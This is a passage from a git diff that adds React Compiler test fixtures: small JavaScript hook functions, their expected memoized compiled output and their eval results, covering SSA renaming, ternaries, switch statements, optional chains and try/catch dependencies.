+[55,"joe"]
+[3,"joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.js
new file mode 100644
index 000000000000..a8fce4413541
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary-with-mutation.js
@@ -0,0 +1,20 @@
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.expect.md
new file mode 100644
index 000000000000..a6750238dc30
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function useFoo(props) {
+  const $ = _c(5);
+  let x;
+  if ($[0] !== props.bar) {
+    x = [];
+    x.push(props.bar);
+    $[0] = props.bar;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  if ($[2] !== props.cond || $[3] !== props.foo) {
+    props.cond ? ((x = []), x.push(props.foo)) : null;
+    $[2] = props.cond;
+    $[3] = props.foo;
+    $[4] = x;
+  } else {
+    x = $[4];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.js
new file mode 100644
index 000000000000..3cafcd9f0bda
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-ternary.js
@@ -0,0 +1,17 @@
+// @enablePropagateDepsInHIR
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.expect.md
new file mode 100644
index 000000000000..062c7ac8fca3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {arrayPush} from 'shared-runtime';
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond
+    ? ((x = {}), (x = []), x.push(props.foo))
+    : ((x = []), (x = []), x.push(props.bar));
+  arrayPush(x, 4);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { arrayPush } from "shared-runtime";
+function useFoo(props) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
+    x = [];
+    x.push(props.bar);
+    props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));
+    arrayPush(x, 4);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55,4]
+[55,4]
+[3,4]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.js
new file mode 100644
index 000000000000..2b7134fa2086
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary-with-mutation.js
@@ -0,0 +1,21 @@
+// @enablePropagateDepsInHIR
+import {arrayPush} from 'shared-runtime';
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond
+    ? ((x = {}), (x = []), x.push(props.foo))
+    : ((x = []), (x = []), x.push(props.bar));
+  arrayPush(x, 4);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.expect.md
new file mode 100644
index 000000000000..923830fb4b3b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond
+    ? ((x = {}), (x = []), x.push(props.foo))
+    : ((x = []), (x = []), x.push(props.bar));
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function useFoo(props) {
+  const $ = _c(6);
+  let x;
+  if ($[0] !== props.bar) {
+    x = [];
+    x.push(props.bar);
+    $[0] = props.bar;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  if ($[2] !== props.bar || $[3] !== props.cond || $[4] !== props.foo) {
+    props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));
+    $[2] = props.bar;
+    $[3] = props.cond;
+    $[4] = props.foo;
+    $[5] = x;
+  } else {
+    x = $[5];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.js
new file mode 100644
index 000000000000..d131c3bbc0ac
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-ternary.js
@@ -0,0 +1,19 @@
+// @enablePropagateDepsInHIR
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  props.cond
+    ? ((x = {}), (x = []), x.push(props.foo))
+    : ((x = []), (x = []), x.push(props.bar));
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.expect.md
new file mode 100644
index 000000000000..1cb3cf2474b6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.expect.md
@@ -0,0 +1,82 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  if (props.cond) {
+    x = {};
+    x = [];
+    x.push(props.foo);
+  } else {
+    x = [];
+    x = [];
+    x.push(props.bar);
+  }
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
+    x = [];
+    x.push(props.bar);
+    if (props.cond) {
+      x = [];
+      x.push(props.foo);
+    } else {
+      x = [];
+      x.push(props.bar);
+    }
+
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ bar: "bar", foo: "foo", cond: true }],
+  sequentialRenders: [
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["foo","joe"]
+["foo","joe"]
+["bar","joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.js
new file mode 100644
index 000000000000..99e28942268b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-unconditional-with-mutation.js
@@ -0,0 +1,28 @@
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  if (props.cond) {
+    x = {};
+    x = [];
+    x.push(props.foo);
+  } else {
+    x = [];
+    x = [];
+    x.push(props.bar);
+  }
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.expect.md
new file mode 100644
index 000000000000..42288dda6424
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let {x} = {x: []};
+  x.push(props.bar);
+  if (props.cond) {
+    ({x} = {x: {}});
+    ({x} = {x: []});
+    x.push(props.foo);
+  }
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
+    ({ x } = { x: [] });
+    x.push(props.bar);
+    if (props.cond) {
+      ({ x } = { x: [] });
+      x.push(props.foo);
+    }
+
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ bar: "bar", foo: "foo", cond: true }],
+  sequentialRenders: [
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["foo","joe"]
+["foo","joe"]
+["bar","joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.js
new file mode 100644
index 000000000000..e83596e91b6a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-via-destructuring-with-mutation.js
@@ -0,0 +1,24 @@
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let {x} = {x: []};
+  x.push(props.bar);
+  if (props.cond) {
+    ({x} = {x: {}});
+    ({x} = {x: []});
+    x.push(props.foo);
+  }
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.expect.md
new file mode 100644
index 000000000000..bac466cd6e1e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  if (props.cond) {
+    x = {};
+    x = [];
+    x.push(props.foo);
+  }
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
+  let x;
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
+    x = [];
+    x.push(props.bar);
+    if (props.cond) {
+      x = [];
+      x.push(props.foo);
+    }
+
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ bar: "bar", foo: "foo", cond: true }],
+  sequentialRenders: [
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) ["foo","joe"]
+["foo","joe"]
+["bar","joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.js
new file mode 100644
index 000000000000..ac7b8007d8c4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/ssa-renaming-with-mutation.js
@@ -0,0 +1,24 @@
+// @enablePropagateDepsInHIR
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  if (props.cond) {
+    x = {};
+    x = [];
+    x.push(props.foo);
+  }
+  mutate(x);
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.expect.md
new file mode 100644
index 000000000000..ed00e248edee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.expect.md
@@ -0,0 +1,90 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = [];
+  let y;
+  switch (props.p0) {
+    case 1: {
+      break;
+    }
+    case true: {
+      x.push(props.p2);
+      y = [];
+    }
+    default: {
+      break;
+    }
+    case false: {
+      y = x;
+      break;
+    }
+  }
+  const child = <Component data={x} />;
+  y.push(props.p4);
+  return <Component data={y}>{child}</Component>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(8);
+  let t0;
+  let y;
+  if ($[0] !== props.p0 || $[1] !== props.p2) {
+    const x = [];
+    bb0: switch (props.p0) {
+      case 1: {
+        break bb0;
+      }
+      case true: {
+        x.push(props.p2);
+        let t1;
+        if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
+          t1 = [];
+          $[4] = t1;
+        } else {
+          t1 = $[4];
+        }
+        y = t1;
+      }
+      default: {
+        break bb0;
+      }
+      case false: {
+        y = x;
+      }
+    }
+    t0 = <Component data={x} />;
+    $[0] = props.p0;
+    $[1] = props.p2;
+    $[2] = t0;
+    $[3] = y;
+  } else {
+    t0 = $[2];
+    y = $[3];
+  }
+  const child = t0;
+  y.push(props.p4);
+  let t1;
+  if ($[5] !== child || $[6] !== y) {
+    t1 = <Component data={y}>{child}</Component>;
+    $[5] = child;
+    $[6] = y;
+    $[7] = t1;
+  } else {
+    t1 = $[7];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/switch-non-final-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.js
similarity index 92%
rename from compiler/crates/react_hermes_parser/tests/fixtures/switch-non-final-default.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.js
index 97326e36d880..7a73d054d54e 100644
--- a/compiler/crates/react_hermes_parser/tests/fixtures/switch-non-final-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch-non-final-default.js
@@ -1,3 +1,4 @@
+// @enablePropagateDepsInHIR
 function Component(props) {
   let x = [];
   let y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.expect.md
new file mode 100644
index 000000000000..77661de5f070
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function Component(props) {
+  let x = [];
+  let y;
+  switch (props.p0) {
+    case true: {
+      x.push(props.p2);
+      x.push(props.p3);
+      y = [];
+    }
+    case false: {
+      y = x;
+      break;
+    }
+  }
+  const child = <Component data={x} />;
+  y.push(props.p4);
+  return <Component data={y}>{child}</Component>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function Component(props) {
+  const $ = _c(8);
+  let t0;
+  let y;
+  if ($[0] !== props.p0 || $[1] !== props.p2 || $[2] !== props.p3) {
+    const x = [];
+    switch (props.p0) {
+      case true: {
+        x.push(props.p2);
+        x.push(props.p3);
+      }
+      case false: {
+        y = x;
+      }
+    }
+    t0 = <Component data={x} />;
+    $[0] = props.p0;
+    $[1] = props.p2;
+    $[2] = props.p3;
+    $[3] = t0;
+    $[4] = y;
+  } else {
+    t0 = $[3];
+    y = $[4];
+  }
+  const child = t0;
+  y.push(props.p4);
+  let t1;
+  if ($[5] !== child || $[6] !== y) {
+    t1 = <Component data={y}>{child}</Component>;
+    $[5] = child;
+    $[6] = y;
+    $[7] = t1;
+  } else {
+    t1 = $[7];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/switch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.js
similarity index 91%
rename from compiler/crates/react_hermes_parser/tests/fixtures/switch.js
rename to compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.js
index 2ff19a4c76df..187fffd39ec8 100644
--- a/compiler/crates/react_hermes_parser/tests/fixtures/switch.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/switch.js
@@ -1,3 +1,4 @@
+// @enablePropagateDepsInHIR
 function Component(props) {
   let x = [];
   let y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.expect.md
new file mode 100644
index 000000000000..af046d58b713
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return createArray(value?.x, value?.y)?.join(', ');
+}
+
+function createArray<T>(...args: Array<T>): Array<T> {
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+function useFoo(props) {
+  const $ = _c(3);
+  const value = props.value;
+  let t0;
+  if ($[0] !== value?.x || $[1] !== value?.y) {
+    t0 = createArray(value?.x, value?.y)?.join(", ");
+    $[0] = value?.x;
+    $[1] = value?.y;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+
+function createArray(...t0) {
+  const args = t0;
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{ value: null }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.ts
new file mode 100644
index 000000000000..0031bc770c67
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/todo-optional-call-chain-in-optional.ts
@@ -0,0 +1,14 @@
+// @enablePropagateDepsInHIR
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return createArray(value?.x, value?.y)?.join(', ');
+}
+
+function createArray<T>(...args: Array<T>): Array<T> {
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.expect.md
new file mode 100644
index 000000000000..fb74130582dc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/try-catch-maybe-null-dependency.expect.md
@@ -0,0 +1,80 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+import {identity} from 'shared-runtime';
+
+/**
+ * Not safe to hoist read of maybeNullObject.value.inner outside of the
+ * try-catch block, as that might throw
+ */
+function useFoo(maybeNullObject: {value: {inner: number}} | null) {
+  const y = [];
+  try {
+    y.push(identity(maybeNullObject.value.inner));
+  } catch {
+    y.push('null');
+  }
+
+  return y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [null],
+  sequentialRenders: [null, {value: 2}, {value: 3}, null],
+};
+
+```
+
+## Code
+
+```javascript
